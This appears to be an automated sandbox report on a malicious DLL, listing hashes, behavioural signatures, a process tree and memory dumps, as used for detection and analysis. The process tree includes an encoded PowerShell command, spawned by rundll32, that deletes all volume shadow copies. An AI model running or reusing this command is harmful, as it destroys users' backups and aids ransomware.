Analysis
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max time kernel
99s -
max time network
35s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 02:13
Static task
static1
Behavioral task
behavioral1
Sample
3ff14b291c37f0de3b94f6bdbf8723359e8f8f3bb6c1e893090734c7c7bd65b4.dll
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
3ff14b291c37f0de3b94f6bdbf8723359e8f8f3bb6c1e893090734c7c7bd65b4.dll
Resource
win10-en-20211208
General
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Target
3ff14b291c37f0de3b94f6bdbf8723359e8f8f3bb6c1e893090734c7c7bd65b4.dll
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Size
164KB
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MD5
762f92beb5e25919a74981b91b2d7438
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SHA1
d6c0788948af1cf61080f123225f290b1904848b
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SHA256
3ff14b291c37f0de3b94f6bdbf8723359e8f8f3bb6c1e893090734c7c7bd65b4
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SHA512
1ea9ecc28d86c384246d24a58265e35afb3cdeca3002e0e336649d44e59ed1cac1cba0cbbfa7a311f68f5445982f386d36adc45e14b23f3454eeffcfbc4fc55a
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\A: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepowershell.exepid process 1160 rundll32.exe 1704 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1704 powershell.exe Token: SeBackupPrivilege 336 vssvc.exe Token: SeRestorePrivilege 336 vssvc.exe Token: SeAuditPrivilege 336 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 1648 wrote to memory of 1160 1648 rundll32.exe rundll32.exe PID 1648 wrote to memory of 1160 1648 rundll32.exe rundll32.exe PID 1648 wrote to memory of 1160 1648 rundll32.exe rundll32.exe PID 1648 wrote to memory of 1160 1648 rundll32.exe rundll32.exe PID 1648 wrote to memory of 1160 1648 rundll32.exe rundll32.exe PID 1648 wrote to memory of 1160 1648 rundll32.exe rundll32.exe PID 1648 wrote to memory of 1160 1648 rundll32.exe rundll32.exe PID 1160 wrote to memory of 1704 1160 rundll32.exe powershell.exe PID 1160 wrote to memory of 1704 1160 rundll32.exe powershell.exe PID 1160 wrote to memory of 1704 1160 rundll32.exe powershell.exe PID 1160 wrote to memory of 1704 1160 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\3ff14b291c37f0de3b94f6bdbf8723359e8f8f3bb6c1e893090734c7c7bd65b4.dll,#11⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\3ff14b291c37f0de3b94f6bdbf8723359e8f8f3bb6c1e893090734c7c7bd65b4.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/1160-55-0x0000000075DF1000-0x0000000075DF3000-memory.dmpFilesize
8KB
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memory/1704-56-0x000007FEFC3A1000-0x000007FEFC3A3000-memory.dmpFilesize
8KB
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memory/1704-59-0x00000000025C2000-0x00000000025C4000-memory.dmpFilesize
8KB
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memory/1704-58-0x00000000025C0000-0x00000000025C2000-memory.dmpFilesize
8KB
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memory/1704-60-0x00000000025C4000-0x00000000025C7000-memory.dmpFilesize
12KB
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memory/1704-57-0x000007FEF3770000-0x000007FEF42CD000-memory.dmpFilesize
11.4MB
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memory/1704-61-0x000000001B810000-0x000000001BB0F000-memory.dmpFilesize
3.0MB
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memory/1704-62-0x00000000025CB000-0x00000000025EA000-memory.dmpFilesize
124KB